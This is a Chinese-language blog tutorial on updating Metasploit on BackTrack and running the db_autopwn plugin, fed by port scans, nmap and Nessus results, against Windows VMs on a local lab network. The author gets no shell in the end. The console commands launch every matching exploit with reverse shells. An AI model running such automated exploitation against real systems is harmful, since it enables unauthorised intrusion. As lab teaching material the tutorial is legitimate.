这篇文章来得有点晚，竟然比初探Meterpreter还晚

总之就是见谅了，理论上应该得比它早发出来的

本文很坎坷，因为考研耽误了几天。。

因为生病耽误了几天。。

因为朋友来找我玩耽误了几天。。

事先说明，本文实在BT5r3下实现的

很抱歉，没get shell，不过介绍手法这一目的应该达到了。

==================================================================

1. 科普Metasploit

2. 更新Metasploit

[plain] view plaincopy

1.        =[ metasploit v4.5.0-dev [core:4.5 api:1.0]  
2. + -- --=[ 927 exploits - 499 auxiliary - 151 post  
3. + -- --=[ 251 payloads - 28 encoders - 8 nops  

4.9版本的：

[plain] view plaincopy

1.        =[ metasploit v4.9.0-dev [core:4.9 api:1.0]  
2. + -- --=[ 1251 exploits - 682 auxiliary - 201 post  
3. + -- --=[ 326 payloads - 32 encoders - 8 nops  

[plain] view plaincopy

1. 1. apt-get update——>更新源列表  
2. 2. cd /opt/metasploit后，删除原先的msf3：rm -rf msf3  
3. 3. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3   最后的msf3是我们重新在原来的位置重建msf3  
4. 4. 修改配置文件：  
5. 32位系统：/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb  
6. 64位系统：/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb  
7. 定位  CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"  
8. 后，删掉  -1$(RUBY_SO_NAME)-static部分  
9. 4. 进入msf3下，运行./msfupdate等待完成即可  

注事事项：

[plain] view plaincopy

1. 1.如果在git那一步，出错，说找不到msf，可能是网络连接不好，本人亲自去github看了下，发现是存在的，后来10分钟后连续敲了相同的命令，clone成功。  
2. 2.可能会遇到bundle install 的问题，ruby版本不对，没关系，请按照上面的步骤来，就可以了。  

3. 开启Metasploit

[plain] view plaincopy

1. root@bt:~# cd /opt/metasploit/msf3  
2. root@bt:/opt/metasploit/msf3# msfconsole   

4.  连接数据库

[plain] view plaincopy

1. msf < cat /opt/metasploit/config/database.yml   
2. [*] exec:  cat /opt/metasploit/config/database.yml    
3.   
4.   
5. #  
6. # These settings are for the database used by the Metasploit Framework  
7. # unstable tree included in this installer, not the commercial editions.  
8. #  
9. development:  
10.   adapter: "postgresql"  
11.   database: "msf3dev"  
12.   username: "msf3"  
13.   password: "4bfedfc2"  
14.   port: 7337  
15.   host: "localhost"  
16.   pool: 256  
17.   timeout: 5  
18.   
19. production:  
20.   adapter: "postgresql"  
21.   database: "msf3dev"  
22.   username: "msf3"  
23.   password: "4bfedfc2"  
24.   port: 7337  
25.   host: "localhost"  
26.   pool: 256  
27.   timeout: 5  
28. msf > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev     
29. msf > creds    
30.   
31. Credentials  
32. ===========  
33.   
34. host  port  user  pass  type  active?  
35. ----  ----  ----  ----  ----  -------  
36.   
37. [*] Found 0 credentials.  
38. msf >   

creds 是查看数据库的命令。

[plain] view plaincopy

1. vi /opt/metasploit/msf3/msfconsole    
2. change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.    

原理是：http://www.fightingman.org/blog/2012/12/04/connect-to-postgresql-via-msfconsole-in-metasploit/#disqus_thread

[plain] view plaincopy

1. deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe                                             
2. # 添加软件源  
3.   
4. sudo apt-get install postgresql  
5. sudo apt-get install rubygems libpq-dev  
6. apt-get install libreadline-dev  
7. apt-get install libssl-dev  
8. apt-get install libpq5  
9. apt-get install ruby-dev  
10. sudo apt-get install libpq-dev  
11. sudo gem install pg  

如果不会操作数据库：

[plain] view plaincopy

1. passwd postgres                            修改postgres密码  
2. su postgres                                进入数据库  
3. createuser xxx -P                          创建xxx用户（然后输入密码，Y/N一直选择N即可）  
4. createdb --owner=user xxx                  创建一个XXX数据库  
5. psql xxx                                   进入xxx数据库  
6. psql -l                                    列出数据库  
7. dropuser                                   删除用户  
8. dropdb                                     删除数据库  

5. 载入和使用db_autopwn

5.0 载入db_autopwn

下载后，cp放到：

[plain] view plaincopy

1. /opt/metasploit/msf3/plugins/db_autopwn.rb  

然后进入msf后加载db_autopwn：

[plain] view plaincopy

1. load db_autopwn  

而使用的命令是：

[plain] view plaincopy

1. db_autopwn -r -p -t -e  

参数：

[plain] view plaincopy

1. ERROR: NoMethodError undefined method `range_include?‘   

5.1 msf自带扫描器+db_autopwn

[plain] view plaincopy

1. 下载：db_autopwn.rb  
2. 放到~/Desktop下  
3. 在终端：  
4. root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/  
5. 在msf：   
6. msf > load db_autopwn  
7. msf > db_autopwn -h  
8.     -h          Display this help text  
9.     -t          Show all matching exploit modules  
10.     -x          Select modules based on vulnerability references  
11.     -p          Select modules based on open ports  
12.     -e          Launch exploits against all matched targets  
13.     -r          Use a reverse connect shell  
14.     -b          Use a bind shell on a random port (default)  
15.     -q          Disable exploit module output  
16.     -R  [rank]  Only run modules with a minimal rank  
17.     -I  [range] Only exploit hosts inside this range  
18.     -X  [range] Always exclude hosts inside this range  
19.     -PI [range] Only exploit hosts with these ports open  
20.     -PX [range] Always exclude hosts with these ports open  
21.     -m  [regex] Only run modules whose name matches the regex  
22.     -T  [secs]  Maximum runtime for any exploit in seconds  
23.   
24. msf > use auxiliary/scanner/portscan/tcp  
25. msf > show options #看看那还需要设置什么  
26. msf > set RHOSTS 192.168.0.113 #113这台机器是win2003，只打了9个补丁，很纯净  
27. msf > set THREADS 8  #设置线程数8  
28. msf > run #开启端口扫描  
29. msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules  -e 开搞  

不得不吐槽一下，就这个msf自带扫描器+自动化攻击，连个只打了9个补丁的win2003都拿不下。

5.2 db_nmap + db+autopwn

[plain] view plaincopy

1. hosts -d   

如果-d后面加IP，就只删除IP，如果没指定，就删除所有IP，有的IP删除起来要多费一些时间（1分钟），有的则是几秒的事。

[plain] view plaincopy

1. db_nmap  -T Aggressive -n -A -v ip  

-T Aggressive 指定扫描速度：积极，就是-T4的另一个名字。

[plain] view plaincopy

1. msf> hosts -d  
2.   
3. Hosts  
4. =====  
5.   
6. address        mac                name  os_name  os_flavor  os_sp  purpose  info  comments  
7. -------        ---                ----  -------  ---------  -----  -------  ----  --------  
8. 192.168.0.1    34:08:04:0B:70:E8        Unknown                    device           
9. 192.168.0.104  CC:78:5F:84:64:27        Unknown                    device           
10. 192.168.0.105  EC:A8:6B:86:9A:5E        Unknown                    device           
11. 192.168.0.108                           Unknown                    device           
12. 192.168.0.110  44:37:E6:A0:96:79        Unknown                    device           
13. 192.168.0.112  00:0C:29:A3:56:29        Unknown                    device           
14.   
15. [*] Deleted 6 hosts  
16. msf> hosts  
17.   
18. Hosts  
19. =====  
20.   
21. address  mac  name  os_name  os_flavor  os_sp  purpose  info  comments  
22. -------  ---  ----  -------  ---------  -----  -------  ----  --------  
23.   
24. msf> db_nmap -sS -A -T4 192.168.0.112  
25. [*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST  
26. [*] Nmap: Nmap scan report for 192.168.0.112  
27. [*] Nmap: Host is up (0.00047s latency).  
28. [*] Nmap: Not shown: 997 closed ports  
29. [*] Nmap: PORT    STATE SERVICE      VERSION  
30. [*] Nmap: 135/tcp open  msrpc        Microsoft Windows RPC  
31. [*] Nmap: 139/tcp open  netbios-ssn  
32. [*] Nmap: 445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds  
33. [*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)  
34. [*] Nmap: Device type: general purpose  
35. [*] Nmap: Running: Microsoft Windows XP  
36. [*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp  
37. [*] Nmap: OS details: Microsoft Windows XP SP2 or SP3  
38. [*] Nmap: Network Distance: 1 hop  
39. [*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows  
40. [*] Nmap: Host script results:  
41. [*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)  
42. [*] Nmap: | smb-security-mode:  
43. [*] Nmap: |   Account that was used for smb scripts: guest  
44. [*] Nmap: |   User-level authentication  
45. [*] Nmap: |   SMB Security: Challenge/response passwords supported  
46. [*] Nmap: |_  Message signing disabled (dangerous, but default)  
47. [*] Nmap: |_smbv2-enabled: Server doesn‘t support SMBv2 protocol  
48. [*] Nmap: | smb-os-discovery:  
49. [*] Nmap: |   OS: Windows XP (Windows 2000 LAN Manager)  
50. [*] Nmap: |   Computer name: emaster-a2c3258  
51. [*] Nmap: |   NetBIOS computer name: EMASTER-A2C3258  
52. [*] Nmap: |   Workgroup: WORKGROUP  
53. [*] Nmap: |_  System time: 2014-01-08 13:51:25 UTC+8  
54. [*] Nmap: TRACEROUTE  
55. [*] Nmap: HOP RTT     ADDRESS  
56. [*] Nmap: 1   0.47 ms 192.168.0.112  
57. [*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .  
58. [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds  
59. msf> hosts  
60.   
61. Hosts  
62. =====  
63.   
64. address        mac                name  os_name            os_flavor  os_sp  purpose  info  comments  
65. -------        ---                ----  -------            ---------  -----  -------  ----  --------  
66. 192.168.0.112  00:0C:29:A3:56:29        Microsoft Windows  XP                device           
67.   
68. msf> db_autopwn -p -t -r -e   

再科普一次：

5.3 Nessus+db_autopwn

[plain] view plaincopy

1. #启动nessus服务  
2. root@bt:~# /etc/init.d/nessusd start  
3. #启动apache服务  
4. root@bt:~# /etc/init.d/apache2 start  
5. #进入nessus页面  
6. 通过https://bt:8834或者https://127.0.0.1:8834访问。  
7. 注意是https。https://localhost:8834是访问不了的。  
8. 密码：root/toor  

nessus的操作：

[plain] view plaincopy

1. 1、新建一个要扫的内容策略如：basic scan（Policy）  
2. 2、new scan  
3. 3、export 结果到1.nessus  
4.    

然后用db_import把扫描导入msf：

[plain] view plaincopy

1. msf> hosts -d  
2.   
3. Hosts  
4. =====  
5.   
6. address        mac                name           os_name            os_flavor  os_sp  purpose  info  comments  
7. -------        ---                ----           -------            ---------  -----  -------  ----  --------  
8. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  Microsoft Windows  XP                device           
9.   
10. [*] Deleted 1 hosts  
11. msf> db_import /root/Desktop/1.nessus   
12. [*] Importing ‘Nessus XML (v2)‘ data  
13. [*] Importing host 192.168.0.112  
14. [*] Successfully imported /root/Desktop/1.nessus  
15. msf> hosts  
16.   
17. Hosts  
18. =====  
19.   
20. address        mac                name           os_name                               os_flavor  os_sp  purpose  info  comments  
21. -------        ---                ----           -------                               ---------  -----  -------  ----  --------  
22. 192.168.0.112  00:0C:29:A3:56:29  192.168.0.112  EMC CLARiiON AX150SCi SAN Disk Array                    device           
23.   
24. msf> db_autopwn -p -r -t -e  

好吧，这么强大的扫描器和这么强大的利用平台，结合在一起，是0 sessions，只能证明我太傻比了，还不会灵活应用。